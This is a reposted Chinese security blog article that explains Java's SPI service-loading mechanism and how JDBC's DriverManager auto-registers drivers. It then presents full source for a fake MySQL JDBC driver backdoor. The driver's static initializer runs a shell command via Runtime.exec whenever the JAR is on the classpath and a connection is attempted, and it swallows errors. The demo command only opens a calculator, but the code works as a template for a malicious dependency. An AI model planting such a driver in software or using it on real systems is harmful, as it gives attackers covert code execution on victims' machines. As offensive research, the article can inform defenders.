哦哇資訊網

Java->JDK內建的SPI實現JDBC後門

由 區塊軟體開發 發表于 美食2023-01-05

0x00 SPI機制

SPI(Service Provider Interface),是JDK內建的一種服務提供發現機制,可以用來啟用框架擴充套件和替換元件,主要是被框架的開發人員使用,比如java。sql。Driver介面,其他不同廠商可以針對同一介面做出不同的實現,MySQL和PostgreSQL都有不同的實現提供給使用者,而Java的SPI機制可以為某個介面尋找服務實現。以JDBC為例,如圖:

如果有興趣,可以去找相關資料做進一步的深入瞭解。

0x01 SPI與JDBC

經常看到有程式碼在寫JDBC連結時,會用到以下兩步:

// RegisterDriverManager。registerDriver(new com。mysql。jdbc。Driver());// ConnectDriverManager。getConnection(“jdbc:mysql://127。0。0。1:3306/test”);

我之前在議題的測試用例中也會這麼寫,主要是因為有第一步可以更容易看出案例中使用的是哪個JDBC Driver,其實沒有必要,主要是因為JDBC也是利用了SPI機制實現的。

以MySQL JDBC Driver為例,寫一個連線MySQL資料庫的測試用例。我們透過registerDriver方法指定JDBC驅動,這裡由於我的MySQL JDBC Driver升級了,從mysql-connector-5。x升級到了mysql-connector-8。x,所以報出以下錯誤

Loading class ‘com。mysql。jdbc。Driver’。 This is deprecated。 The new driver class is ‘com。mysql。cj。jdbc。Driver’。 The driver is automatically registered via the SPI and manual loading of the driver class is generally unnecessary。

報錯裡清楚的告訴我們是透過SPI機制完成了自動註冊,通常沒有必要手工註冊載入。

0x02 SPI如何打破雙親委派機制

說到SPI機制,還得從類載入的過程說起。Java類載入過程中,有一個環境是初始化(Initialization),初始化階段會執行被載入類的Static Blocks。

還是以MySQL JDBC Driver為例,除錯瞭解下JDBC驅動的程式碼呼叫邏輯,進入

DriverManager

com。mysql。cj。jdbc。Driver

中的靜態程式碼塊呼叫了

DriverManager

類的

registerDriver

方法,因此JVM又會去載入

DriverManager

類,載入過程中

DriverManager

的靜態程式碼塊被執行。而

DriverManager

的靜態程式碼塊中呼叫了

loadInitialDrivers

方法

Java->JDK內建的SPI實現JDBC後門

loadInitialDrivers

方法裡使用了SPI機制去獲取Driver類的擴充套件點實現。下面是SPI的部分原始碼:

Java->JDK內建的SPI實現JDBC後門

Java->JDK內建的SPI實現JDBC後門

Java->JDK內建的SPI實現JDBC後門

Java->JDK內建的SPI實現JDBC後門

可以看到SPI機制使用

Thread。currentThread()。getContextClassLoader()

來獲取類載入器,而擴充套件點實現類透過

Class<?> c = Class。forName(cn, false, loader)

來獲取。

這裡的核心是透過

Class。forName()

載入我們在

META-INF/services/java。sql。Driver

檔案中寫的實現類

Java->JDK內建的SPI實現JDBC後門

Class。forName()

使用當前的ClassLoader,我們是在

DriverManager

類裡呼叫ServiceLoader的,所以當前類也就是

DriverManager

,它的載入器是

Bootstrap ClassLoader

。我們知道

Bootstrap ClassLoader

載入rt。jar包下的所有類,要用

Bootstrap ClassLoader

去載入使用者自定義的類是違背雙親委派的,所以使用

Thread。currentThread()。getContextClassLoader

去指定

AppClassLoader

0x03 實現JDBC Driver後門

檢視ClassPath中有哪些JDBC Driver

import java。sql。Driver;import java。util。Iterator;import java。util。ServiceLoader;public class JdbcDriverList { public static void main(String[] args) { ServiceLoader serviceLoader = ServiceLoader。load(Driver。class, ClassLoader。getSystemClassLoader( )); for(Iterator iterator = serviceLoader。iterator(); iterator。hasNext();) { Driver driver = iterator。next(); System。out。println(driver。getClass()。getPackage() + “ ————> ” + driver。getClass()。getName()); } }}

下面的結果是我們的環境中有4種不同資料庫的JDBC Driver

Java->JDK內建的SPI實現JDBC後門

實現JDBC Driver後門

在瞭解了原理以後,考慮自己去實現一個MySQL JDBC Driver的後門。目的是當用戶引入fake MySQL JDBC Driver後,在建立JDBC連結時,觸發執行命令,彈出計算器。由於JDBC是透過SPI機制實現的,所以不需要使用者指定JDBC驅動,就可以自動載入後門驅動。

jar包結構如圖

Java->JDK內建的SPI實現JDBC後門

MySQLDriver。java ,執行命令的部分在靜態程式碼塊裡定義,方便在initialization階段直接載入

package com。mysql。fake。jdbc;import java。sql。*;import java。util。*;import java。util。logging。*;public class MySQLDriver implements java。sql。Driver { protected static boolean DEBUG = false; protected static final String WindowsCmd = “calc”; protected static final String LinuxCmd = “open -a calculator”; protected static String shell; protected static String args; protected static String cmd; static{ if(DEBUG){ Logger。getGlobal()。info(“Entered static JDBC driver initialization block, executing the payload。。。”); } if( System。getProperty(“os。name”)。toLowerCase()。contains(“windows”) ){ shell = “cmd。exe”; args = “/c”; cmd = WindowsCmd; } else { shell = “/bin/sh”; args = “-c”; cmd = LinuxCmd; } try{ Runtime。getRuntime()。exec(new String[] {shell, args, cmd}); } catch(Exception ignored) { } } // JDBC methods below public boolean acceptsURL(String url){ if(DEBUG){ Logger。getGlobal()。info(“acceptsURL() called: ”+url); } return false; } public Connection connect(String url, Properties info){ if(DEBUG){ Logger。getGlobal()。info(“connect() called: ”+url); } return null; } public int getMajorVersion(){ if(DEBUG){ Logger。getGlobal()。info(“getMajorVersion() called”); } return 1; } public int getMinorVersion(){ if(DEBUG){ Logger。getGlobal()。info(“getMajorVersion() called”); } return 0; } public Logger getParentLogger(){ if(DEBUG){ Logger。getGlobal()。info(“getParentLogger() called”); } return null; } public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){ if(DEBUG){ Logger。getGlobal()。info(“getPropertyInfo() called: ”+url); } return new DriverPropertyInfo[0]; } public boolean jdbcCompliant(){ if(DEBUG){ Logger。getGlobal()。info(“jdbcCompliant() called”); } return true; }}

打成jar包後匯入,再次檢視

Java->JDK內建的SPI實現JDBC後門

再次連線MySQL資料庫,執行命令彈出計算器,最終達到後門效果。

Java->JDK內建的SPI實現JDBC後門

from https://tttang。com/archive/1819/

TAG: JDBCDriverSPI載入Java